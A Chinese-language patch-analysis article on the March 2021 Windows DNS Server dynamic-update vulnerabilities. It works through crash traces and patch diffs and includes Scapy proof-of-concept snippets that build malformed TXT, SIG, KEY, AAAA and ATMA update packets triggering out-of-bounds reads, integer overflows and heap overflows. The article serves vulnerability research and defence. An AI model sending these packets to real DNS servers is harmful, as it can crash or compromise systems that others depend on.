10

Windows DNS Server 漏洞研究之补丁分析

 3 years ago
source link: https://www.anquanke.com/post/id/239795
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Windows DNS Server 漏洞研究之补丁分析

阅读量    137403 |



发布时间:2021-05-08 10:00:47

2021 年 3 月,微软于补丁日发布了关于 Windows DNS Server 的五个远程代码执行漏洞和两个拒绝服务漏洞,漏洞编号如下:

RCE漏洞
CVE-2021-26877,CVE-2021-26897(Exploitation More Likely)
CVE-2021-26893,CVE-2021-26894,CVE-2021-26895(Exploitation Less Likely)

DoS漏洞
CVE-2021-26896,CVE-2021-27063(Exploitation Less Likely)

Windows DNS Server 存在多个远程代码执行漏洞和拒绝服务漏洞,攻击者可通过向目标主机发送特制请求来利用这些漏洞,成功利用这些漏洞可在目标主机上以 SYSTEM 权限执行任意代码或导致 DNS 服务拒绝服务。启用安全动态更新可暂时缓解这些漏洞,但攻击者依然可以通过加入域的计算机攻击启用了安全区域更新的 DNS 服务器。

攻击面说明

从通告的 FAQ 说明上看,这些漏洞都存在于 Windows DNS Server 进行动态区域更新的过程中。DNS 更新功能使 DNS 客户端计算机能够在发生更改时向 DNS 服务器注册并动态更新其资源记录(RR)。 使用此功能可以缩短手动管理区域记录所需的时间,从而改进 DNS 管理。动态区域更新功能可以部署在独立的 DNS 服务器或 Active Directory(AD)集成的 DNS 服务器上。最佳实践是部署与 AD 集成的DNS,以便利用 Microsoft 的安全性,如 Kerberos 和 GSS-TSIG。

动态更新类型:

  • 安全动态区域更新:验证所有 RR 更新均已使用加入域的计算机上的 GSS-TSIG 进行了数字签名。此外,可以对哪些主体可以执行动态区域更新应用更精细的控件。
  • 不安全的动态区域:任何计算机无需任何身份验证即可更新 RR(不建议)。

在DNS服务器上创建区域时,可以选择启用或禁用 DNS 动态区域更新:

  • 将 DNS 部署为独立服务器时,默认情况下将禁用“动态区域更新”功能,但可以在安全/非安全模式下启用该功能。
  • 将 DNS 部署为 AD 集成时,默认在安全模式下启用“动态区域更新”

以下为 McAfee 关于 Windows DNS Server 部署模型制作的威胁分析表格:

  • 部署在公网启用动态更新的 Windows DNS Server 风险最高(这种配置是极其不推荐的,应该很少有这种配置)
  • 部署 AD 集成的 Windows DNS Server 默认在安全模式下启用“动态区域更新”,可减轻未经身份验证的攻击者的风险,但仍具有受威胁的域计算机或受信任内部人员实现 RCE 的风险

参考链接:https://www.mcafee.com/blogs/other-blogs/mcafee-labs/seven-windows-wonders-critical-vulnerabilities-in-dns-dynamic-updates/

CVE-2021-26877 漏洞复现分析

  • 使用 TXT length 大于 Data length 的 TXT 资源记录进行区域的动态更新时可触发此漏洞

根据 McAfee 博客中的信息可知,此漏洞在更新 TXT 记录时产生,TXT 记录中的 TXT Length 被设置为 0xFF,这个值大于资源记录里指定的 Data Length (0xbd),这个长度表示的是这个记录后面的所有数据的长度,在当前场景下,包括所有的 TXT Length 和 TXT 数据的长度。使用 Scapy 构造数据包及抓包数据如下:

    query = DNSQR(qname='mal', qtype='SOA')
    RRTXT = DNSRR(rrname="A.mal",type='TXT',rdlen=0xbd,rdata='\x41'*0xff)   // 0xff 可修改为更大的数,理论上只要比 0xbd 大即可
    packet = IP(dst=ip)/UDP()/DNS(id=random.randint(0,65535),opcode=5,aa=1,tc=1,rd=0,ra=1,cd=1,rcode=5,qd=query,ns=RRTXT)

配置 DNS 服务器,新增一个名为 MAL 的主要区域,并设置允许动态更新。(启用页堆) 以下为漏洞触发场景,问题出现在 dns!File_PlaceStringInFileBuffer 函数中,程序尝试访问超出边界的数据:

0:019> g
(874.9a0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
dns!File_PlaceStringInFileBuffer+0xa2:
00007ff7`50cc67f6 410fb60c24      movzx   ecx,byte ptr [r12] ds:00000271`34988000=??

0:004> k
 # Child-SP          RetAddr           Call Site
00 000000bc`b82ff3f0 00007ff7`50cc731e dns!File_PlaceStringInFileBuffer+0xa2
01 000000bc`b82ff440 00007ff7`50bc26a9 dns!TxtFileWrite+0x6e
02 000000bc`b82ff490 00007ff7`50c5da3d dns!RR_WriteToFile+0x205
03 000000bc`b82ff4f0 00007ff7`50c5ecc6 dns!Up_LogZoneUpdate+0x6ad
04 000000bc`b82ffc70 00007ff7`50c5ea30 dns!Up_CompleteZoneUpdate+0x26e
05 000000bc`b82ffd00 00007ff7`50c60c96 dns!Up_ExecuteUpdateEx+0x338
06 000000bc`b82ffd60 00007ff7`50c616ba dns!processWireUpdateMessage+0x456
07 000000bc`b82ffe00 00007ff7`50c550ad dns!Update_Thread+0x12a

0:004> !heap -p -a r12    //在 CopyWireRead 函数中调用 RR_AllocateEx 申请空间。用户可用的长度到 0x27134987ff5
    address 0000027134988000 found in
    _DPH_HEAP_ROOT @ 271126b1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                             27132a28f08:      27134987ef0              105 -      27134987000             2000
    00007fff07e86d67 ntdll!RtlDebugAllocateHeap+0x000000000000003f
    00007fff07e2cade ntdll!RtlpAllocateHeap+0x000000000009d27e
    00007fff07d8da21 ntdll!RtlpAllocateHeapInternal+0x0000000000000991
    00007ff750cc2b4d dns!allocMemory+0x0000000000000039
    00007ff750cc2f28 dns!Mem_Alloc+0x000000000000008c
    00007ff750cc35c2 dns!RR_AllocateEx+0x000000000000003a
    00007ff750c3efd4 dns!CopyWireRead+0x0000000000000024
    00007ff750c3fed2 dns!Wire_CreateRecordFromWire+0x000000000000015a
    00007ff750c5f3d5 dns!writeUpdateFromPacketRecord+0x0000000000000035
    00007ff750c5fbe7 dns!parseUpdatePacket+0x0000000000000423
    00007ff750c60b6d dns!processWireUpdateMessage+0x000000000000032d
    00007ff750c616ba dns!Update_Thread+0x000000000000012a
    00007ff750c550ad dns!threadTopFunction+0x000000000000007d
    00007fff054a7974 KERNEL32!BaseThreadInitThunk+0x0000000000000014
    00007fff07dea271 ntdll!RtlUserThreadStart+0x0000000000000021

0:004> db r12-20    //这里要访问 0x27134988000 处的数据
00000271`34987fe0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`34987ff0  41 41 41 41 41 d0 d0 d0-d0 d0 d0 d0 d0 d0 d0 d0  AAAAA...........
00000271`34988000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000271`34988010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000271`34988020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000271`34988030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000271`34988040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000271`34988050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

0:004> db ecx-14e l160    //将 TXT 数据写入这个缓存区域
00000271`34989ff0  c0 c0 c0 c0 bb 05 fc ff-ef 0c 0c 0c 0c 0c 0c fe  ................
00000271`3498a000  0d 0a 24 53 4f 55 52 43-45 20 20 50 41 43 4b 45  ..$SOURCE  PACKE
00000271`3498a010  54 20 31 39 32 2e 31 36-38 2e 31 34 30 2e 31 32  T 192.168.140.12
00000271`3498a020  39 0d 0a 24 56 45 52 53-49 4f 4e 20 32 0d 0a 24  9..$VERSION 2..$
00000271`3498a030  41 44 44 0d 0a 41 20 20-20 20 20 20 20 20 20 20  ADD..A          
00000271`3498a040  20 20 20 20 20 20 20 20-20 20 20 20 20 30 09 54               0.T
00000271`3498a050  58 54 09 28 20 22 41 41-41 41 41 41 41 41 41 41  XT.( "AAAAAAAAAA
00000271`3498a060  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`3498a070  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`3498a080  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`3498a090  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`3498a0a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`3498a0b0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`3498a0c0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`3498a0d0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`3498a0e0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`3498a0f0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`3498a100  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000271`3498a110  41 41 5c 33 32 30 5c 33-32 30 5c 33 32 30 5c 33  AA\320\320\320\3
00000271`3498a120  32 30 5c 33 32 30 5c 33-32 30 5c 33 32 30 5c 33  20\320\320\320\3
00000271`3498a130  32 30 5c 33 32 30 5c 33-32 30 5c 33 32 30 00 c0  20\320\320\320..
00000271`3498a140  c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0  ................

漏洞分析
在 CopyWireRead 函数中,通过 RR_AllocateEx 函数申请长度为 data length 的空间,而在后续的操作中实际上会分配 data length + 0x38 + 0x10 大小的空间。0x10 为自定义头部的大小、0x38 为 RR 头部的大小。result 指向 RR 头部,然后调用 memcpy 函数向缓冲区复制 data length 长度的数据。如果 data 数据长度大于 data length 长度也可以被处理,只是复制到缓存中会被截断。

接下来在 TxtFileWrite 函数中会调用 File_PlaceStringInFileBuffer 函数,分别传入待写入缓冲区地址、待写入缓冲区结尾地址、1、TXT 记录缓存地址以及分组长度(每次不超过 0xFF)。这个长度就是从 data 字段中取出的,在调用 File_PlaceStringInFileBuffer 函数前没有判断这个长度是否超出了 TXT 缓存数据的界限(在这个函数内部也没有判断)。虽然在后面会有判断(粉框内),但在第一次执行 File_PlaceStringInFileBuffer 函数的过程中就有可能会触发漏洞。

在 File_PlaceStringInFileBuffer 函数中存在以下循环,使用传入的 length 控制循环的次数,这会导致访问超出边界的数据。

补丁分析
以下为补丁后的 TxtFileWrite 函数,在调用 File_PlaceStringInFileBuffer 函数前,会判断通过 TXT Length 寻址后的地址是否超出了申请的空间。

CVE-2021-26897 漏洞复现分析

  • 发送许多连续的 SIG 资源记录动态更新可触发此漏洞
  • 将许多连续的 SIG 资源记录动态更新进行组合并将字符串进行 Base64 编码时在堆上引发 OOB 写操作

根据已有信息,可构造以下数据包。更新类型为 SIG,记录超长(signature 字段超长)。注意这次需使用 TCP 连接,Scapy 不能直接构造,以下仅为模型:

    query = DNSQR(qname='mal', qtype='SOA')
    RRSIG = DNSRRRSIG(rrname=str(RandString(8))+'.mal', type="SIG", ttl=300,signersname="A.mal",signature='\x00'*0xff00)
    packet = IP(dst=ip)/TCP()/DNS(id=random.randint(0,65535),opcode=5,qd=query,ns=RRSIG)

以下为抓包数据:

漏洞触发现场以及函数调用堆栈如下,异常的原因是 0x2713533c000 无法访问。漏洞触发是在 Dns_SecurityKeyToBase64String 函数(用于 Base64 编码)中。

0:011> g
(874.c34): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
dns!Dns_SecurityKeyToBase64String+0x66:
00007ff7`50d02c3a 41884001        mov     byte ptr [r8+1],al ds:00000271`3533c000=??
0:011> k
 # Child-SP          RetAddr           Call Site
00 000000bc`b867f3a8 00007ff7`50cc7f02 dns!Dns_SecurityKeyToBase64String+0x66
01 000000bc`b867f3b0 00007ff7`50bc26a9 dns!SigFileWrite+0x1f2
02 000000bc`b867f4a0 00007ff7`50bc244e dns!RR_WriteToFile+0x205
03 000000bc`b867f500 00007ff7`50bc1c92 dns!writeNodeRecordsToFile+0xa6
04 000000bc`b867f560 00007ff7`50bc1cb1 dns!zoneTraverseAndWriteToFile+0x42
05 000000bc`b867f590 00007ff7`50bc18f5 dns!zoneTraverseAndWriteToFile+0x61
06 000000bc`b867f5c0 00007ff7`50c6a2a3 dns!File_WriteZoneToFile+0x379
07 000000bc`b867f6c0 00007ff7`50c6a388 dns!Zone_WriteBack+0xfb
08 000000bc`b867f700 00007ff7`50d00580 dns!Zone_WriteBackDirtyZones+0xb4
09 000000bc`b867f790 00007ff7`50c56a74 dns!Zone_WriteBackDirtyVirtualizationInstances+0x110
0a 000000bc`b867f7c0 00007ff7`50c550ad dns!Timeout_Thread+0x544

查看出现问题的缓冲区,可以发现,其首地址为 0x271352bbff0 ,UserSize 为 0x80010,是在 File_WriteZoneToFile 函数中调用 Mem_Alloc 分配的。

0:011> !heap -p -a 271`3533c000
    address 000002713533c000 found in
    _DPH_HEAP_ROOT @ 271126b1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                             27132a2ca90:      271352bbff0            80010 -      271352bb000            82000
    00007fff07e86d67 ntdll!RtlDebugAllocateHeap+0x000000000000003f
    00007fff07e2cade ntdll!RtlpAllocateHeap+0x000000000009d27e
    00007fff07d8da21 ntdll!RtlpAllocateHeapInternal+0x0000000000000991
    00007ff750cc2b4d dns!allocMemory+0x0000000000000039
    00007ff750cc2f28 dns!Mem_Alloc+0x000000000000008c
    00007ff750bc178c dns!File_WriteZoneToFile+0x0000000000000210
    00007ff750c6a2a3 dns!Zone_WriteBack+0x00000000000000fb
    00007ff750c6a388 dns!Zone_WriteBackDirtyZones+0x00000000000000b4
    00007ff750d00580 dns!Zone_WriteBackDirtyVirtualizationInstances+0x0000000000000110
    00007ff750c56a74 dns!Timeout_Thread+0x0000000000000544
    00007ff750c550ad dns!threadTopFunction+0x000000000000007d
    00007fff054a7974 KERNEL32!BaseThreadInitThunk+0x0000000000000014
    00007fff07dea271 ntdll!RtlUserThreadStart+0x0000000000000021

0:011> db 271352bbff0    //存放 MAL.dns 缓存信息
00000271`352bbff0  c0 c0 c0 c0 bb 16 fc ff-ef 0c 0c 0c 0c 0c 0c fe  ................
00000271`352bc000  3b 0d 0a 3b 20 20 44 61-74 61 62 61 73 65 20 66  ;..;  Database f
00000271`352bc010  69 6c 65 20 4d 41 4c 2e-64 6e 73 20 66 6f 72 20  ile MAL.dns for 
00000271`352bc020  44 65 66 61 75 6c 74 20-7a 6f 6e 65 20 73 63 6f  Default zone sco
00000271`352bc030  70 65 20 69 6e 20 7a 6f-6e 65 20 4d 41 4c 2e 0d  pe in zone MAL..
00000271`352bc040  0a 3b 20 20 20 20 20 20-5a 6f 6e 65 20 76 65 72  .;      Zone ver
00000271`352bc050  73 69 6f 6e 3a 20 20 32-35 0d 0a 3b 0d 0a 0d 0a  sion:  25..;....
00000271`352bc060  40 20 20 20 20 20 20 20-20 20 20 20 20 20 20 20  @

File_WriteZoneToFile 函数中调用 Mem_Alloc 申请大小为 0x80000 长度的空间,实际是通过 allocMemory 函数申请大小为 0x80010 长度的堆(包括 0x10 大小的头部长度)。而触发访问异常的 0x2713533c000 正好和 0x271352bbff0 相差 0x80010。下一步要查看为何会有超出边界的数据复制过来。

0:011> ?271`3533c000-271352bbff0
Evaluate expression: 524304 = 00000000`00080010

漏洞分析
通过回溯及数据跟踪可关注到 zoneTraverseAndWriteToFile 函数,其第一个参数偏移 0x20 处保存了待写缓冲区的实时地址。该函数会调用 writeZoneRoot、writeNodeRecordsToFile 等函数向缓冲区写入数据。然后利用 NTree_FirstChild 以及 NTree_NextSiblingWithLocking 函数遍历 NodeRecords,然后通过回调依次对这些节点进行处理。如果该节点偏移 0x5c 处没有设置 0x10 的 flag,就会调用 writeNodeRecordsToFile 函数进行处理。

writeNodeRecordsToFile 函数中会调用 RR_WriteToFile 函数,在 RR_WriteToFile 函数中也会有判断,如果当前缓冲区距离 end_addr 的长度小于 0x11000,就将缓冲区数据写入文件,并重置缓冲区指针。但这里没有考虑 Base64 编码后是 3:4 的长度。

然后通过 type 类型从 RawRecordFileWrite 表中选择相应的 FileWrite 处理函数,type 18 对应的是 SigFileWrite 函数,然后调用这个函数。(IDA 下面解析错了,实际上 SigFileWrite 函数有 4 个参数)

SigFileWrite 函数用于解析 SIG 结构并将其写入 MAL.dns 缓存,如下所示,SigFileWrite 函数拿到的初始缓存缓冲区指针为 p_buffer(来自第二个参数),在向其写入 SIG 头信息以及 Signer’s name 后,v13 指向该缓冲区待写入的地址,然后调用 Dns_SecurityKeyToBase64String 函数对 Signature 进行 Base64 编码并将结果写入 v13 指向的地址处。

如下所示,在调用 Dns_SecurityKeyToBase64String 函数时,第二个参数为 0xffb9,经过 Base64 编码后的数据长度为 0x154f8。查看上下文可以发现(上图所示),在向缓冲区写入的每一步几乎都用了 end_addr(用户可用的最大长度) 作为限制,唯独在 Dns_SecurityKeyToBase64String 函数的调用中没有,这可能会造成隐患。

0:011> g
Breakpoint 1 hit
dns!Dns_SecurityKeyToBase64String:
00007ff7`50d02bd4 48895c2408      mov     qword ptr [rsp+8],rbx ss:000000bc`b867f3b0=000000bcb867f430
0:011> r rdx
rdx=000000000000ffb9
0:011> ?ffb9/3*4
Evaluate expression: 87284 = 00000000`000154f4
0:011> db r8 l20
00000271`34c16255  00 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0  ................
00000271`34c16265  c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0  ................

0:011> gu
dns!SigFileWrite+0x1f2:
00007ff7`50cc7f02 4c8bc8          mov     r9,rax

0:011> db 271`34c16255+154f4 l20    // 写入了 0x154f8 字节数据
00000271`34c2b749  41 41 41 3d c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0  AAA=............
00000271`34c2b759  c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0  ................

由于向 zoneTraverseAndWriteToFile 函数中传入的第一个参数是不变的,因而会一直向该缓冲区中写入数据。虽然在 RR_WriteToFile 函数和 SigFileWrite 函数中有一些判断,但仍未考虑数据 Base64 编码后的长度,因而在多次循环写入的时候,正好在 Dns_SecurityKeyToBase64String 函数的执行过程中触发 OOB 写操作。

补丁分析
更新后的 DNS 在 SigFileWrite 函数中调用 Dns_SecurityKeyToBase64String 函数前会进行以下判断。会考虑当前缓冲区的剩余空间是否可以容纳 Base64 编码后的 Signature 数据。

补丁对比分析

以下为 3 月更新内发生变动的函数列表,包括前面已经分析过的TxtFileWrite 函数和 SigFileWrite 函数。

  • KEY 记录问题

类似地,在 KeyFileWrite 函数中也加入了 Base64 编码预检查(粉框对应)。但不是这个的问题,补丁前已经有 a3 – (signed __int64)a2 < (signed int)(2 * v3) 这个判断了,可以阻断 CVE-2021-26897 式触发。真正的原因我用蓝框圈起来了,v3 来自 Data Length – 4,而且它是无符号 int 型,如果 Data Length 小于 4,会产生整数溢出。而它又作为 Dns_SecurityKeyToBase64String 函数的第二个参数,该函数指明待编码数据长度,4 个字节的大整数,肯定会溢出的啦。

构造 POC 如下,触发场景见下图:

    query = DNSQR(qname='mal', qtype='SOA')
    RRKEY = DNSRR(rrname=str(RandString(8))+'.mal',type='KEY',rdlen=0 ,rdata='\x00'*0xff)
    packet = IP(dst=ip)/UDP()/DNS(id=random.randint(0,65535),opcode=5,qd=query,ns=RRKEY)

另外,值得注意的是,CopyWireRead 函数中加入了以下判断,经过分析可知,当接收 update 请求类型为 WKS、AAAA 或 ATMA 时,会分别判断其 Data Length 是否小于 5、0x10、2。

  • AAAA 记录问题

该请求会由 AaaaFileWrite 函数进行处理,经过前面的分析可知,a1 偏移 0x38 处指向 Data Length 字段后的记录数据。经过 CopyWireRead 函数的处理,a1 偏移 0x38 处指向的数据的有效长度等于 Data Length 大小。如果 Data Length 小于 XXXFileWrite 函数中函数调用所需的数据长度,就有可能访问到缓冲区边界之外的数据(如 RtlIpv6AddressToStringA 函数)。

以下为 RtlIpv6AddressToStringA 函数原型,其第一个参数类型为 in6_addr,该长度应为 16 个字节。因而在新的 CopyWireRead 函数中会判断 Data Length 大小是否小于 0x10。

NTSYSAPI PSTR RtlIpv6AddressToStringA(
  const in6_addr *Addr,
  PSTR           S
);

typedef struct in6_addr {
  union {
    UCHAR  Byte[16];
    USHORT Word[8];
  } u;
} IN6_ADDR, *PIN6_ADDR, *LPIN6_ADDR;

0:008> db rdx l10    //例:fe80::20c:29ff:fe5e:7b11
00000271`26ed9ecd  fe 80 00 00 00 00 00 00-02 0c 29 ff fe 5e 7b 11  ..........)..^{.

新的 AaaaFileWrite 函数中也会加入对待读缓冲区和待写缓冲区的判断。

构造如下 POC 进行验证,崩溃场景如下图:

    query = DNSQR(qname='mal', qtype='SOA')
    RRAaaa = DNSRR(rrname=str(RandString(8))+'.mal',type='AAAA',rdlen=1,rdata='fe80::20c:29ff:fe5e:7b11')
    packet = IP(dst=ip)/UDP()/DNS(id=random.randint(0,65535),opcode=5,qd=query,ns=RRAaaa)
  • ATMA 记录问题

下面再来看 AtmaFileWrite 函数,CopyWireRead 函数中给的限制是:它的 Data Length 长度要大于等于 2。对比补丁前后,对 Data Length 长度判断吸引了我的注意(右边),如果是 0,就走结束流程。那么再看不补丁前的函数,v6 为 Data Length – 1 的无符号数,当 Data Length 为 0 时,v6 为 0xFFFFFFFF , 会产生整数溢出。而且,当 Data 数据的第一个字节为 1 时,会以 v6 做为控制长度向缓冲区复制数据(堆溢出)。

构造 ATMA 更新请求如下,为了使 Data Length 为 0 时,满足漏洞触发条件,需要在发送恶意请求时发送一些“铺垫”数据,即保证 Data 数据的第一个字节(a1 偏移 0x38 处)为 1,且分配的大小一致。那么当触发漏洞的请求到来时,申请的堆可能就来自之前的数据包。例:rdl 先 1(多个) 后 0(分配到 0x50 大小的自定义堆上),崩溃现场如下图:

    query = DNSQR(qname='mal', qtype='SOA')
    RRATMA = DNSRR(rrname="A.mal",type='ATMA',rdlen=rdl,rdata='\x01'*0xff)
    packet = IP(dst=ip)/UDP()/DNS(id=random.randint(0,65535),opcode=5,qd=query,ns=RRATMA)
  • WKS 记录问题

WksFileWrite 函数中会打印 IP 地址,还有协议名称,这需要保证数据必须大于等于5。如果发送的数据不到 5,就会读取到后面的数据,这样会存在一定程度的信息泄露(然而我觉得没什么用)。

微软 3 月补丁日公开了 Windows DNS Server 中存在的多个远程代码执行漏洞和拒绝服务漏洞,这些漏洞都存在于 Windows DNS Server 进行动态区域更新的过程中。攻击者可通过向目标主机发送特制请求来利用这些漏洞,成功利用这些漏洞可在目标主机上以 SYSTEM 权限执行任意代码或导致 DNS 服务拒绝服务。通过对 McAfee 博客中的细节描述进行分析以及补丁比对,笔者构造 POC 复现了其中的 5 个(不包括 WKS)。如有不足之处,欢迎批评指正,期待技术交流。

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/seven-windows-wonders-critical-vulnerabilities-in-dns-dynamic-updates/

https://docs.microsoft.com/zh-cn/troubleshoot/windows-server/networking/configure-dns-dynamic-updates-windows-server-2003

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26877

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26897


Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK